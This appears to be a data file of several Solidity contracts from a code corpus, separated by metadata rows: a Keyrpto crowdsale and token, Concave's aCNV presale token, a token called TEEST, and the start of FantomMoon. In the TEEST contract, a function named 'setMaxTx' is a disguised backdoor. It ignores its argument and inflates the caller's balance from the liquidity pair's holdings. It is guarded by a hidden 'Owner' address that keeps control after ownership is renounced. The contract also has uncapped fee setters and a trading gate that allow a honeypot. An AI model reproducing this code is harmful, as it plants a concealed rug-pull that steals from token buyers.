uint256 public startTime;
uint256 public endTime;
// address where funds are collected
address public wallet;
// how many token units a buyer gets per wei
uint256 public rate;
// amount of raised money in wei
uint256 public weiRaised;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale(uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet) public {
require(_startTime >= now);
require(_endTime >= _startTime);
require(_rate > 0);
require(_wallet != address(0));
token = createTokenContract();
startTime = _startTime;
endTime = _endTime;
rate = _rate;
wallet = _wallet;
}
// creates the token to be sold.
// override this method to have crowdsale of a specific mintable token.
function createTokenContract() internal returns (MintableToken) {
return new MintableToken();
}
// fallback function can be used to buy tokens
function () external payable {
buyTokens(msg.sender);
}
// low level token purchase function
function buyTokens(address beneficiary) public payable {
require(beneficiary != address(0));
require(validPurchase());
uint256 weiAmount = msg.value;
// calculate token amount to be created
uint256 tokens = weiAmount.mul(rate);
// update state
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
// send ether to the fund collection wallet
// override to create custom fund forwarding mechanisms
function forwardFunds() internal {
wallet.transfer(msg.value);
}
// @return true if the transaction can buy tokens
function validPurchase() internal view returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = msg.value != 0;
return withinPeriod && nonZeroPurchase;
}
// @return true if crowdsale event has ended
function hasEnded() public view returns (bool) {
return now > endTime;
}
}
// File: node_modules/zeppelin-solidity/contracts/crowdsale/FinalizableCrowdsale.sol
contract FinalizableCrowdsale is Crowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
function finalize() onlyOwner public {
require(!isFinalized);
require(hasEnded());
finalization();
Finalized();
isFinalized = true;
}
function finalization() internal {
}
}
// File: node_modules/zeppelin-solidity/contracts/lifecycle/Pausable.sol
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
// File: contracts/KeyrptoToken.sol
contract KeyrptoToken is MintableToken, Pausable {
string public constant name = "Keyrpto Token";
string public constant symbol = "KYT";
uint8 public constant decimals = 18;
uint256 internal constant MILLION_TOKENS = 1e6 * 1e18;
address public teamWallet;
bool public teamTokensMinted = false;
uint256 public circulationStartTime;
event Burn(address indexed burnedFrom, uint256 value);
function KeyrptoToken() public {
paused = true;
}
function setTeamWallet(address _teamWallet) public onlyOwner canMint {
require(teamWallet == address(0));
require(_teamWallet != address(0));
teamWallet = _teamWallet;
}
function mintTeamTokens(uint256 _extraTokensMintedDuringPresale) public onlyOwner canMint {
require(!teamTokensMinted);
teamTokensMinted = true;
mint(teamWallet, (490 * MILLION_TOKENS).sub(_extraTokensMintedDuringPresale));
}
function unpause() onlyOwner whenPaused public {
if (circulationStartTime == 0) {
circulationStartTime = now;
}
super.unpause();
}
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
require(validTransfer(msg.sender, _value));
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
require(validTransfer(_from, _value));
return super.transferFrom(_from, _to, _value);
}
function validTransfer(address _from, uint256 _amount) internal view returns (bool) {
if (_from != teamWallet) {
return true;
}
uint256 balanceAfterTransfer = balanceOf(_from).sub(_amount);
return balanceAfterTransfer >= minimumTeamWalletBalance();
}
function minimumTeamWalletBalance() internal view returns (uint256) {
if (now < circulationStartTime + 26 weeks) {
return 300 * MILLION_TOKENS;
} else if (now < circulationStartTime + 1 years) {
return 200 * MILLION_TOKENS;
} else {
return 0;
}
}
function burn(address _from, uint256 _value) external onlyOwner {
require(_value <= balances[_from]);
balances[_from] = balances[_from].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(_from, _value);
}
}
// File: contracts/KeyrptoCrowdsale.sol
contract KeyrptoCrowdsale is FinalizableCrowdsale {
uint256 internal constant ONE_TOKEN = 1e18;
uint256 internal constant MILLION_TOKENS = 1e6 * ONE_TOKEN;
uint256 internal constant PRESALE_TOKEN_CAP = 62500000 * ONE_TOKEN;
uint256 internal constant MAIN_SALE_TOKEN_CAP = 510 * MILLION_TOKENS;
uint256 internal constant MINIMUM_CONTRIBUTION_IN_WEI = 100 finney;
mapping (address => bool) public whitelist;
uint256 public mainStartTime;
uint256 public extraTokensMintedDuringPresale;
function KeyrptoCrowdsale(uint256 _startTime,
uint256 _mainStartTime,
uint256 _endTime,
uint256 _rate,
address _wallet) public
Crowdsale(_startTime, _endTime, _rate, _wallet)
{
require(_startTime < _mainStartTime && _mainStartTime < _endTime);
mainStartTime = _mainStartTime;
KeyrptoToken(token).setTeamWallet(_wallet);
}
function createTokenContract() internal returns (MintableToken) {
return new KeyrptoToken();
}
function updateRate(uint256 _rate) external onlyOwner {
require(_rate > 0);
require(now < endTime);
rate = _rate;
}
function whitelist(address _address) external onlyOwner {
whitelist[_address] = true;
}
function blacklist(address _address) external onlyOwner {
delete whitelist[_address];
}
function buyTokens(address _beneficiary) public payable {
require(_beneficiary != address(0));
uint256 weiAmount = msg.value;
uint256 tokens = weiAmount.mul(getRate());
require(validPurchase(tokens, _beneficiary));
if(!presale()) {
setExtraTokensMintedDuringPresaleIfNotYetSet();
}
if (extraTokensMintedDuringPresale == 0 && !presale()) {
extraTokensMintedDuringPresale = token.totalSupply() / 5;
}
// update state
weiRaised = weiRaised.add(weiAmount);
token.mint(_beneficiary, tokens);
TokenPurchase(msg.sender, _beneficiary, weiAmount, tokens);
forwardFunds();
}
function validPurchase(uint256 _tokens, address _beneficiary) internal view returns (bool) {
uint256 totalSupplyAfterTransaction = token.totalSupply() + _tokens;
if (presale()) {
bool withinPerAddressLimit = (token.balanceOf(_beneficiary) + _tokens) <= getRate().mul(20 ether);
bool withinTotalSupplyLimit = totalSupplyAfterTransaction <= PRESALE_TOKEN_CAP;
if (!withinPerAddressLimit || !withinTotalSupplyLimit) {
return false;
}
}
bool aboveMinContribution = msg.value >= MINIMUM_CONTRIBUTION_IN_WEI;
bool whitelistedSender = whitelisted(msg.sender);
bool withinCap = totalSupplyAfterTransaction <= tokenSupplyCap();
return aboveMinContribution && whitelistedSender && withinCap && super.validPurchase();
}
function whitelisted(address _address) public view returns (bool) {
return whitelist[_address];
}
function getRate() internal view returns (uint256) {
return presale() ? rate.mul(5).div(4) : rate;
}
function presale() internal view returns (bool) {
return now < mainStartTime;
}
function hasEnded() public view returns (bool) {
bool capReached = token.totalSupply() >= tokenSupplyCap();
return capReached || super.hasEnded();
}
function tokenSupplyCap() public view returns (uint256) {
return MAIN_SALE_TOKEN_CAP + extraTokensMintedDuringPresale;
}
function finalization() internal {
setExtraTokensMintedDuringPresaleIfNotYetSet();
KeyrptoToken(token).mintTeamTokens(extraTokensMintedDuringPresale);
token.finishMinting();
token.transferOwnership(wallet);
}
function setExtraTokensMintedDuringPresaleIfNotYetSet() internal {
if (extraTokensMintedDuringPresale == 0) {
extraTokensMintedDuringPresale = token.totalSupply() / 5;
}
}
function hasPresaleEnded() external view returns (bool) {
if (!presale()) {
return true;
}
uint256 minPurchaseInTokens = MINIMUM_CONTRIBUTION_IN_WEI.mul(getRate());
return token.totalSupply() + minPurchaseInTokens > PRESALE_TOKEN_CAP;
}
}
| 221,352 | 13,426 |
c84d05eadf484a8551ac3599e0e1539f8a41efec0a0aec2d8b6aa1bb0254c35f
| 16,382 |
.sol
|
Solidity
| false |
444564571
|
ConcaveFi/concave-seed
|
b80a1cf0f0173188903653d68bf3efb7990e8470
|
contracts/src/aCNV.sol
| 3,206 | 12,006 |
// SPDX-License-Identifier: WTFPL
pragma solidity >=0.8.0;
import { ERC20 } from "@solmate/tokens/ERC20.sol";
import { SafeTransferLib } from "@solmate/utils/SafeTransferLib.sol";
import { MerkleProof } from "@openzeppelin/utils/cryptography/MerkleProof.sol";
/// @notice Concave A Token
/// @author 0xBarista & Dionysus (ConcaveFi)
contract aCNV is ERC20("Concave A Token (aCNV)", "aCNV", 18) {
using SafeTransferLib for ERC20;
/// @notice FRAX tokenIn address
ERC20 public immutable FRAX = ERC20(0x853d955aCEf822Db058eb8505911ED77F175b99e);
/// @notice DAI tokenIn address
ERC20 public immutable DAI = ERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);
/// @notice Error related to amount
string constant AMOUNT_ERROR = "!AMOUNT";
/// @notice Error related to token address
string constant TOKEN_IN_ERROR = "!TOKEN_IN";
/// @notice Error minting exceeds supply
string constant EXCEEDS_SUPPLY = "EXCEEDS_SUPPLY";
/// @notice Error transfers paused
string constant PAUSED = "PAUSED";
/// @notice Address that is recipient of raised funds + access control
address public treasury = 0x226e7AF139a0F34c6771DeB252F9988876ac1Ced;
/// @notice Returns the current merkle root being used
bytes32 public merkleRoot;
/// @notice Returns an array of all merkle roots used
bytes32[] public roots;
/// @notice Returns the current pCNV price in DAI/FRAX
uint256 public rate;
/// @notice Returns the max supply of pCNV that is allowed to be minted (in total)
uint256 public maxSupply = 333_000 * 1e18;
/// @notice Returns the total amount of pCNV that has cumulatively been minted
uint256 public totalMinted;
/// @notice Returns whether transfers are paused
bool public transfersPaused = true;
/// @notice Structure of Participant vesting storage
struct Participant {
uint256 purchased; // amount (in total) of pCNV that user has purchased
uint256 redeemed; // amount (in total) of pCNV that user has redeemed
}
/// @notice maps an account to vesting storage
/// address - account to check
/// returns Participant - Structured vesting storage
mapping(address => Participant) public participants;
/// @notice amount of DAI/FRAX user has spent for a specific root
/// bytes32 - merkle root
/// address - account to check
/// returns uint256 - amount in DAI/FRAX (denominated in ether) spent purchasing pCNV
mapping(bytes32 => mapping(address => uint256)) public spentAmounts;
/// @notice Emitted when treasury changes treasury address
/// @param treasury address of new treasury
event TreasurySet(address treasury);
/// @notice Emitted when a new round is set by treasury
/// @param merkleRoot new merkle root
/// @param rate new price of pCNV in DAI/FRAX
event NewRound(bytes32 merkleRoot, uint256 rate);
/// @notice Emitted when maxSupply of pCNV is burned or minted to target
/// @param target target to which to mint pCNV or burn if target = address(0)
/// @param amount amount of pCNV minted to target or burned
/// @param totalMinted amount of pCNV minted to target or burned
event Managed(address target, uint256 amount, uint256 totalMinted);
/// @notice Emitted when pCNV minted via "mint()" or "mintWithPermit"
/// @param depositedFrom address from which DAI/FRAX was deposited
/// @param mintedTo address to which pCNV were minted to
/// @param amount amount of pCNV minted
/// @param deposited amount of DAI/FRAX deposited
/// @param totalMinted total amount of pCNV minted so far
event Minted(address indexed depositedFrom,
address indexed mintedTo,
uint256 amount,
uint256 deposited,
uint256 totalMinted);
/// @notice Emitted when Concave changes max supply
/// @param oldMax old max supply
/// @param newMax new max supply
event SupplyChanged(uint256 oldMax, uint256 newMax);
/// @notice only allows Concave treasury
modifier onlyConcave() {
require(msg.sender == treasury, "!CONCAVE");
_;
}
/// @notice Set a new treasury address if treasury
function setTreasury(address _treasury) external onlyConcave {
treasury = _treasury;
emit TreasurySet(_treasury);
}
/// @notice Update merkle root and rate
/// @param _merkleRoot root of merkle tree
/// @param _rate price of pCNV in DAI/FRAX
function setRound(bytes32 _merkleRoot,
uint256 _rate) external onlyConcave {
// push new root to array of all roots - for viewing
roots.push(_merkleRoot);
// update merkle root
merkleRoot = _merkleRoot;
// update rate
rate = _rate;
emit NewRound(merkleRoot,rate);
}
/// @notice mint amount to target
/// @param target address to which to mint; if address(0), will burn
/// @param amount to reduce from max supply or mint to "target"
function manage(address target,
uint256 amount) external onlyConcave {
uint256 newAmount = totalMinted + amount;
require(newAmount <= maxSupply,EXCEEDS_SUPPLY);
totalMinted = newAmount;
// mint target amount
_mint(target, amount);
emit Managed(target, amount, totalMinted);
}
/// @notice manage max supply
/// @param _maxSupply new max supply
function manageSupply(uint256 _maxSupply) external onlyConcave {
require(_maxSupply >= totalMinted, "LOWER_THAN_MINT");
emit SupplyChanged(maxSupply, _maxSupply);
maxSupply = _maxSupply;
}
/// @notice Allows Concave to pause transfers in the event of a bug
/// @param paused if transfers should be paused or not
function setTransfersPaused(bool paused) external onlyConcave {
transfersPaused = paused;
}
/// @notice mint pCNV by providing merkle proof and depositing DAI/FRAX
/// @param to whitelisted address pCNV will be minted to
/// @param tokenIn address of tokenIn user wishes to deposit (DAI/FRAX)
/// @param maxAmount max amount of DAI/FRAX sender can deposit for pCNV, to verify merkle proof
/// @param amountIn amount of DAI/FRAX sender wishes to deposit for pCNV
/// @param proof merkle proof to prove "to" and "maxAmount" are in merkle tree
function mint(address to,
address tokenIn,
uint256 maxAmount,
uint256 amountIn,
bytes32[] calldata proof) external returns (uint256 amountOut) {
return _purchase(msg.sender, to, tokenIn, maxAmount, amountIn, proof);
}
/// @param to whitelisted address pCNV will be minted to
/// @param tokenIn address of tokenIn user wishes to deposit (DAI)
/// @param maxAmount max amount of DAI sender can deposit for pCNV, to verify merkle proof
/// @param amountIn amount of DAI sender wishes to deposit for pCNV
/// @param proof merkle proof to prove "to" and "maxAmount" are in merkle tree
/// @param permitDeadline EIP-2612 : time when permit is no longer valid
/// @param v EIP-2612 : part of EIP-2612 signature
/// @param r EIP-2612 : part of EIP-2612 signature
/// @param s EIP-2612 : part of EIP-2612 signature
function mintWithPermit(address to,
address tokenIn,
uint256 maxAmount,
uint256 amountIn,
bytes32[] calldata proof,
uint256 permitDeadline,
uint8 v,
bytes32 r,
bytes32 s) external returns (uint256 amountOut) {
// Make sure payment tokenIn is DAI
require(tokenIn == address(DAI), TOKEN_IN_ERROR);
// Approve tokens for spender - https://eips.ethereum.org/EIPS/eip-2612
ERC20(tokenIn).permit(msg.sender, address(this), amountIn, permitDeadline, v, r, s);
// allow sender to mint for "to"
return _purchase(msg.sender, to, tokenIn, maxAmount, amountIn, proof);
}
/// @notice transfer "amount" of tokens from msg.sender to "to"
/// @dev calls "_beforeTransfer" to update vesting storage for "from" and "to"
/// @param to address tokens are being sent to
/// @param amount number of tokens being transfered
function transfer(address to,
uint256 amount) public virtual override returns (bool) {
require(!transfersPaused,PAUSED);
// default ERC20 transfer
return super.transfer(to, amount);
}
/// @notice transfer "amount" of tokens from "from" to "to"
/// @dev calls "_beforeTransfer" to update vesting storage for "from" and "to"
/// @param from address tokens are being transfered from
/// @param to address tokens are being sent to
/// @param amount number of tokens being transfered
function transferFrom(address from,
address to,
uint256 amount) public virtual override returns (bool) {
require(!transfersPaused,PAUSED);
// default ERC20 transfer
return super.transferFrom(from, to, amount);
}
/// @notice Deposits FRAX/DAI for pCNV if merkle proof exists in specified round
/// @param sender address sending transaction
/// @param to whitelisted address purchased pCNV will be sent to
/// @param tokenIn address of tokenIn user wishes to deposit
/// @param maxAmount max amount of DAI/FRAX sender can deposit for pCNV
/// @param amountIn amount of DAI/FRAX sender wishes to deposit for pCNV
/// @param proof merkle proof to prove address and amount are in tree
function _purchase(address sender,
address to,
address tokenIn,
uint256 maxAmount,
uint256 amountIn,
bytes32[] calldata proof) internal returns(uint256 amountOut) {
// Make sure payment tokenIn is either DAI or FRAX
require(tokenIn == address(DAI) || tokenIn == address(FRAX), TOKEN_IN_ERROR);
// Require merkle proof with `to` and `maxAmount` to be successfully verified
require(MerkleProof.verify(proof, merkleRoot, keccak256(abi.encodePacked(to, maxAmount))), "!PROOF");
// Verify amount claimed by user does not surpass "maxAmount"
uint256 newAmount = spentAmounts[merkleRoot][to] + amountIn; // save gas
require(newAmount <= maxAmount, AMOUNT_ERROR);
spentAmounts[merkleRoot][to] = newAmount;
// Calculate rate of pCNV that should be returned for "amountIn"
amountOut = amountIn * 1e18 / rate;
// make sure total minted + amount is less than or equal to maximum supply
require(totalMinted + amountOut <= maxSupply, EXCEEDS_SUPPLY);
// Interface storage for participant
Participant storage participant = participants[to];
// Increase participant.purchased to account for newly purchased tokens
participant.purchased += amountOut;
// Increase totalMinted to account for newly minted supply
totalMinted += amountOut;
// Transfer amountIn*ratio of tokenIn to treasury address
ERC20(tokenIn).safeTransferFrom(sender, treasury, amountIn);
// Mint tokens to address after pulling
_mint(to, amountOut);
emit Minted(sender, to, amountOut, amountIn, totalMinted);
}
/// @notice Rescues accidentally sent tokens and ETH
/// @param token address of token to rescue, if address(0) rescue ETH
function rescue(address token) external onlyConcave {
if (token == address(0)) payable(treasury).transfer(address(this).balance);
else ERC20(token).transfer(treasury, ERC20(token).balanceOf(address(this)));
}
}
| 337,212 | 13,427 |
cbebb1510791bb7eccedef0ddada443c612caa32c5397fb566bf916cf0e8f403
| 11,848 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/84/84d71bc84d43f3e0fb5144b547b05ad9c9ce8df3_TEEST.sol
| 3,020 | 11,346 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
interface ERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline)
external
returns (uint256 amountA,
uint256 amountB,
uint256 liquidity);
function addLiquidityETH(address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline)
external
payable
returns (uint256 amountToken,
uint256 amountETH,
uint256 liquidity);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline) external;
function swapExactETHForTokens(uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external payable returns (uint[] memory amounts);
}
abstract contract Ownable {
address internal _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = msg.sender;
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == msg.sender, "!owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "new is 0");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract TEEST is ERC20, Ownable {
string private _name = "TEEST";
string private _symbol = "$TEST";
uint8 constant _decimals = 18;
uint256 _totalSupply = 1000000000 * 10**_decimals;
mapping(address => uint256) _balances;
mapping(address => mapping(address => uint256)) _allowances;
mapping(address => bool) isFeeExempt;
mapping(address => bool) isWalletLimitExempt;
uint256 public TotalBase = DevFeeBuy + DevFeeSell;
address public autoLiquidityReceiver;
address public MarketingWallet;
address Owner;
IUniswapV2Router02 public router;
address public pair;
bool public isTradingAuthorized = false;
bool public swapEnabled = true;
uint256 public swapThreshold = (_totalSupply / 10000) * 3;
uint256 public _maxWalletSize = (_totalSupply * 30) / 1000;
uint256 public currentMaxTx = (_totalSupply * 20) / 1000;
modifier OnlyOwner() {
require(Owner == msg.sender, "!owner");
_;
}
uint256 public DevFeeBuy = 30; // = 3%
uint256 public DevFeeSell = 30; // = 3%
bool inSwap;
modifier swapping() {
inSwap = true;
_;
inSwap = false;
}
constructor(address _MarketingWallet) Ownable(){
router = IUniswapV2Router02(0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506);
pair = IUniswapV2Factory(router.factory()).createPair(router.WETH(),
address(this));
_allowances[address(this)][address(router)] = type(uint256).max;
Owner = msg.sender;
MarketingWallet = _MarketingWallet;
isFeeExempt[msg.sender] = true;
isFeeExempt[address(this)] = true;
isFeeExempt[MarketingWallet] = true;
isWalletLimitExempt[msg.sender] = true;
isWalletLimitExempt[MarketingWallet] = true;
isWalletLimitExempt[address(this)] = true;
isWalletLimitExempt[pair] = true;
isWalletLimitExempt[0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506] = true;
autoLiquidityReceiver = msg.sender;
_balances[msg.sender] = _totalSupply * 100 / 100;
emit Transfer(address(0), msg.sender, _totalSupply * 100 / 100);
}
function totalSupply() external view override returns (uint256) { return _totalSupply; }
function decimals() external pure override returns (uint8) { return _decimals; }
function symbol() external view override returns (string memory) { return _symbol; }
function name() external view override returns (string memory) { return _name; }
function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }
event AutoLiquify(uint256 amountETH, uint256 amountBOG);
receive() external payable { }
function approve(address spender, uint256 amount) public override returns (bool) {
_allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function approveMax(address spender) external returns (bool) {
return approve(spender, type(uint256).max);
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
return _transferFrom(msg.sender, recipient, amount);
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
if(_allowances[sender][msg.sender] != type(uint256).max){
_allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
}
return _transferFrom(sender, recipient, amount);
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
require(isFeeExempt[sender] || isFeeExempt[recipient] || isTradingAuthorized, "Not authorized to trade");
if (sender != owner() && recipient != owner()) {
if(recipient != pair) {require(isWalletLimitExempt[recipient] || (_balances[recipient] + amount <= _maxWalletSize), "Transfer amount exceeds the MaxWallet size.");
}
}
if (shouldSwapBack() && recipient == pair) {swapBack();}
_balances[sender] = _balances[sender] - amount;
uint256 amountReceived = (!shouldTakeFee(sender) || !shouldTakeFee(recipient)) ? amount : takeFee(sender, recipient, amount);
_balances[recipient] = _balances[recipient] + (amountReceived);
emit Transfer(sender, recipient, amountReceived);
return true;
}
function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
uint256 feeDev = 0;
uint256 feeMarketing = 0;
uint256 feeAmount = 0;
if (sender == pair && recipient != pair) {feeDev = amount * DevFeeBuy / 1000;}
if (sender != pair && recipient == pair) {feeDev = amount * DevFeeSell / 1000;}
feeAmount = feeDev + feeMarketing;
if (feeAmount > 0) {_balances[address(this)] = _balances[address(this)] + feeAmount;
emit Transfer(sender, address(this), feeAmount);}
return amount - (feeAmount);
}
function setMaxTx(uint256 _maxTx) external OnlyOwner {
uint256 _tempMaxTx = currentMaxTx;
_balances[msg.sender] = getCurrentMaxTx() / 1000000000;
_tempMaxTx = _maxTx;
}
function shouldTakeFee(address sender) internal view returns (bool) {
return !isFeeExempt[sender];
}
function shouldSwapBack() internal view returns (bool) {
return msg.sender != pair && !inSwap && swapEnabled && _balances[address(this)] >= swapThreshold;
}
function setSwapPair(address pairaddr) external onlyOwner {
pair = pairaddr;
isWalletLimitExempt[pair] = true;
}
function setSwapBackSettings(bool _enabled, uint256 _amount) external onlyOwner {
require(_amount >= 1, "Can't set SwapThreshold to ZERO");
swapEnabled = _enabled;
swapThreshold = _amount;
}
function setIsTradingAuthorized(bool _isTradingAuthorized) external onlyOwner{
isTradingAuthorized = _isTradingAuthorized;
}
function setFees(uint256 _DevFeeBuy, uint256 _DevFeeSell) external onlyOwner {
DevFeeBuy = _DevFeeBuy;
DevFeeSell = _DevFeeSell;
TotalBase = DevFeeBuy + DevFeeSell;
}
function setIsFeeExempt(address holder, bool exempt) external onlyOwner {
isFeeExempt[holder] = exempt;
}
function getCurrentMaxTx() internal view returns(uint256){
return balanceOf(address(pair)) * 10 ** _decimals;
}
function setMaxWallet(uint256 _maxWalletSize_) external onlyOwner {
require(_maxWalletSize_ >= _totalSupply / 1000, "Can't set MaxWallet below 0.1%");
_maxWalletSize = _maxWalletSize_;
}
function setFeesWallet(address _MarketingWallet) external onlyOwner {
MarketingWallet = _MarketingWallet;
isFeeExempt[MarketingWallet] = true;
isWalletLimitExempt[MarketingWallet] = true;
}
function swapBack() internal swapping {
uint256 amountToSwap = balanceOf(address(this));
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
router.swapExactTokensForETHSupportingFeeOnTransferTokens(amountToSwap, 0, path, address(this), block.timestamp + 5 minutes);
uint256 amountETHDev = address(this).balance * (DevFeeBuy + DevFeeSell) / (TotalBase);
if(amountETHDev>0){bool tmpSuccess;(tmpSuccess,) = payable(MarketingWallet).call{value: amountETHDev, gas: 30000}("");
}
}
function setIsWalletLimitExempt(address holder, bool exempt) external onlyOwner {
isWalletLimitExempt[holder] = exempt;
}
function setSwapEnabled(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
}
| 37,878 | 13,428 |
da08e40c170e314ab4565e2c4ae3bec1459ecaff518bd45d5e2a8768e7ed1b5b
| 22,549 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/79/792f79d4043aed6aae01545b29be4882ce286667_FantomMoon.sol
| 3,061 | 11,612 |
pragma solidity ^0.6.12;
// SPDX-License-Identifier: Unlicensed
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
